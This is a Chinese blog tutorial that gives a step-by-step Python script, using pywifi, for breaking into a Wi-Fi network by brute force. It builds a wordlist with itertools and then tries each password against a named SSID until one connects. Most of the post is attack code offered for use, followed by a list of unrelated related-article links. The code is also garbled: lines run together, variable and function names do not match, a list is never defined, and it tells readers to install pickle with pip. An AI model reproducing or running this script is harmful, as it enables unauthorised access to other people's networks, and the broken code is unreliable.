破解Wi-Fi – Python

2021.12.30

需要的模块为: pywifi, pickle

安装方式:

pip install pywifi
pip install pickle

**注意:**电脑应该装配无线网卡。一般笔记本本身就内置无线网卡,有些台式机可能需要插一个无线网卡。目前的pywifi仅支持Linux、Windows系统,暂不支持MacOs系统。

Step 1

创建一个无线对象,获取无线网卡的信息。

import pywifiwifi_info=pywifi.PyWiFi()
#获取无线网卡信息
ifaces=wifi_info.interfaces()[0]
print(ifaces,"\n","WI-FI name",ifaces.name())

它输出的是一个对象,以及WI_FI的名字。

Step 2

判断是否连接WI-FI,需要用到pywifi的常量库

from pywifi import const

在这个常量库中,存在接口是否连接所对应的常量,以及其他可能用到的常量,如下所示:

#!/usr/bin/env python3
# vim: set fileencoding=utf-8"""Constants used in pywifi library define here."""
# Define interface status.
IFACE_DISCONNECTED = 0
IFACE_SCANNING = 1
IFACE_INACTIVE = 2
IFACE_CONNECTING = 3
IFACE_CONNECTED = 4# Define auth algorithms.
AUTH_ALG_OPEN = 0
AUTH_ALG_SHARED = 1# Define auth key mgmt types.
AKM_TYPE_NONE = 0
AKM_TYPE_WPA = 1
AKM_TYPE_WPAPSK = 2
AKM_TYPE_WPA2 = 3
AKM_TYPE_WPA2PSK = 4
AKM_TYPE_UNKNOWN = 5# Define ciphers.
CIPHER_TYPE_NONE = 0
CIPHER_TYPE_WEP = 1
CIPHER_TYPE_TKIP = 2
CIPHER_TYPE_CCMP = 3
CIPHER_TYPE_UNKNOWN = 4KEY_TYPE_NETWORKKEY = 0
KEY_TYPE_PASSPHRASE = 1

Step 3

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的状态,查看wifi的加密类型,wifi加密类型目前有四种认证方式: WPA、WPA-PSK、WPA2、WPA2-PSK 。一般采用的是为WPA2-PSK,检查加密单元。代码如下:

profile=pywifi.Profile()
#要连接WI-FI的名称
profile.ssid="jiayi"
#检查网卡的是否开放
profile.auth=const.AUTH_ALG_OPEN
#WI-FI加密类型,一般wifi加密算法为WPA2-PSK
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP

Step 4

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0。

#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(0.1)
if ifaces.status()==const.IFACE_CONNECTED:return True
else:return False

Step 5

创建密码本

一个好的密码本是破解的关键。对于WI-FI密码,一般由数字字母符号组成。

可以用Python生成一个简单的密码本。暴力破解的思路是穷举法。可以用itertools模块来创建,itertools是python内置的模块,无需再安装。存储密码本不建议用ascii格式,读取速度较慢且麻烦。可以选择用pickle模块生成序列化后的数据,pickle需要自行安装(pip install pickle)。数据格式为列表:[密码1",“2”:“密码2”],这样存储和读取效率更高。当然也可不存储,直接迭代生成密码,然后直接尝试连接。本文中至介绍生成密码本的方法。

import pickle
import itertools as itswords = "abcdefghijklmnopqrstuvwxyz123456789!@#$%&*^+-"
## repeat 为密码的位数, 即 repeat = 4
passwd = its.product(words,repeat=6)
for i in passwd:str = ''data.append(str.join(i))
with open ("PassWord.data", 'wb') as f: #打开文件pickle.dump(data, f) #存成二进制序列、方便读取
print("密码本已生成")

注意:利用此程序生成的密码本文件会很大,可以适当修改words中的字符个数以及密码的位数(repeat 参数)比如只保留几个字母和数字。如果对WI- FI密码有大致的了解,可以根据了解的信息生成密码本文件。

Step 6

开始破解。以下是完整的破解代码。注意:密码本文件需要在上一步已经生成。

import time
import pickle
import pywifi
from pywifi import const#测试连接, 返回连接Wi-Fi结果
def wifiConnect(passwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第首个无线网卡ifaces=wifi.interfaces()[0]#断开所有的Wi-Fi连接ifaces.disconnect()time.sleep(1)wifistat = ifaces.status()if wifistat == const.IFACE_DISCONNECTED:#创建WiFi连接文件profile = pywifi.Profile()#要连接WiFi的名称profile.ssid = "zhangsan"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key = passwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(0.1)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("wifi已连接,请核对WI-FI名称") #读取密码本
def readPasswd():print("开始破解...")with open("PassWord.data",'rb') as f:data = pickle.load(f)while True:try:#一行一行读取for i in range(len(data)):              passwd = data[i]bool = wifiConnect(passwd)if bool:print("密码已破解: ",pad)print("WiFi已成功连接!!!")breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对: ",pad)except:continue
readPassword()

Ending…

破解Wi-Fi -- Python相关推荐

  1. wifi频率和zigbee干扰_浅谈ZigBee和Wi—Fi的共存和干扰

    龙源期刊网 http://www.qikan.com.cn 浅谈 ZigBee 和 Wi - Fi 的共存和干扰 作者:姜伟 朱凯 刘童 来源:<科技视界> 2013 年第 16 期 [摘 ...

  2. 比较802.11ac(Wi‑Fi 5)和802.11ax(Wi‑Fi 6)

    MIMO 802.11ac仅在下行模式下,支持多用户MIMO. 802.11ax不仅下行链路:也在上行链路支持MIMO功能,因此多个用户可以同时上传视频. 调制方法 802.11ax具有更高的调制方案 ...

  3. 服务器暴力破解的程序(python开发)

    如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和 首先我们看一下基本的原理以及过程 Paste_Image.png 我们看一下准备工作: 我们需要获取目标机器的IP和SHH端口 ...

  4. 破解栅栏密码python脚本

    今天遇到一个要破解的栅栏密码,写了个通用的脚本 1 #!/usr/bin/env python 2 # -*- coding: gbk -*- 3 # -*- coding: utf_8 -*- 4 ...

  5. 维吉尼亚密码的破解算法及python代码实现

    目录 1. 密文描述 1.1 密文1 1.2 密文2 2. 破解原理 2.1 重合指数法确定密钥长度 2.2 互重合指数确定子串间相对偏移 2.3 密钥字的确定 2.4 密文破解 3. 破解代码 参考 ...

  6. 图形解锁验证码破解(附Python代码)

    前言: 爬虫开源死得快,新浪微博又改策略了.在去年的这个时候,微博还是没什么限制的.2016年12月我将新浪微博爬虫的代码作了一次更新,并将文章转到了知乎,爬微博的人似乎从那个时候开始多了许多.也许是 ...

  7. python爬虫之逆向破解_这种python反爬虫手段有点意思,看我怎么破解

    这种反爬虫手段被广泛应用在一线互联网企业的产品中,例如汽车资讯类网站.小说类网站等文字密度较大的站点.在开始学习之前,我们先来看看具体的现象.打开网址: https://implicit-style- ...

  8. python暴力破解压缩包密码(python暴力破解zip压缩包)

    python暴力破解压缩包密码 简介 简介: ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料.ZI ...

  9. 暴力破解zip密码 python

    def zipDecrypt():path1 = "a.zip" # 需要解压的文件路径及地址path2 = "D:\\code\\python\\test" ...

  10. “破解”WiFi密码——Python代码

    首先声明:这个方法不能轻轻松松破译邻居的WiFi密码(除非他的密码很简单). 代码工作原理大概就是,你把所有你能想到的密码汇集到一个库里,然后通过计算机代替你来一个个试,试中了就是"破解&q ...

最新文章

  1. CentOS7.5常用命令整理
  2. System.Net.Dns.GetHostByAddress(string) 已经过时
  3. tomcat中间件的默认端口号_等保2.0涉及的Apache Tomcat中间件(下)
  4. 2.3 基本算法之递归变递推 放苹果 python
  5. jeewx 微信管家 - 举办商业版本免费试用活动
  6. neu1250矩阵快速幂哪~~
  7. 从苹果换回安卓没几天就熬不住了?怀念iPhone这七点
  8. 老身掐指一算,国产游戏“出海”正当时?
  9. 山海镜花vivo服务器微信号,山海镜花初始号怎么刷
  10. daily scrum 10.31
  11. 0代码实现接口自动化测试-RF框架实践
  12. 阳振坤:OceanBase 数据库七亿 tpmC 的关键技术
  13. 通过lua脚本识别微信,支付宝,龙支付
  14. 我的生活所感悟出的杂句
  15. 如何设计一个可用的web容器
  16. 量子计算从概念走入现实,公钥加密是否岌岌可危
  17. nginx的安装升级、常用配置(一)
  18. 校招进大厂的Tips
  19. 接口测试到底测试什么?
  20. 开源机器人控制软件OROCOS

热门文章

  1. 人工智能的学习路线规划
  2. 北大四大“疯人院”到底有多牛?天才、怪才在这儿遍地都是!
  3. 【解决方案】城市道路如何管控渣土车?EasyCVR助力搭建渣土车运输联网监控系统
  4. CUDA+VS2017+win环境下 cuda工程环境搭建(解决标识符未定义或申明)
  5. selenium下Edge()配置错误问题
  6. Bresenham改进算法结合wu反走样算法画直线
  7. linux系统中开机自启的三种方式
  8. 数论 之 中国剩余定理(孙子定理)
  9. IDEA的使用大全(快捷键、TomCat、Maven......)
  10. Java中遍历Map集合的5种方式总结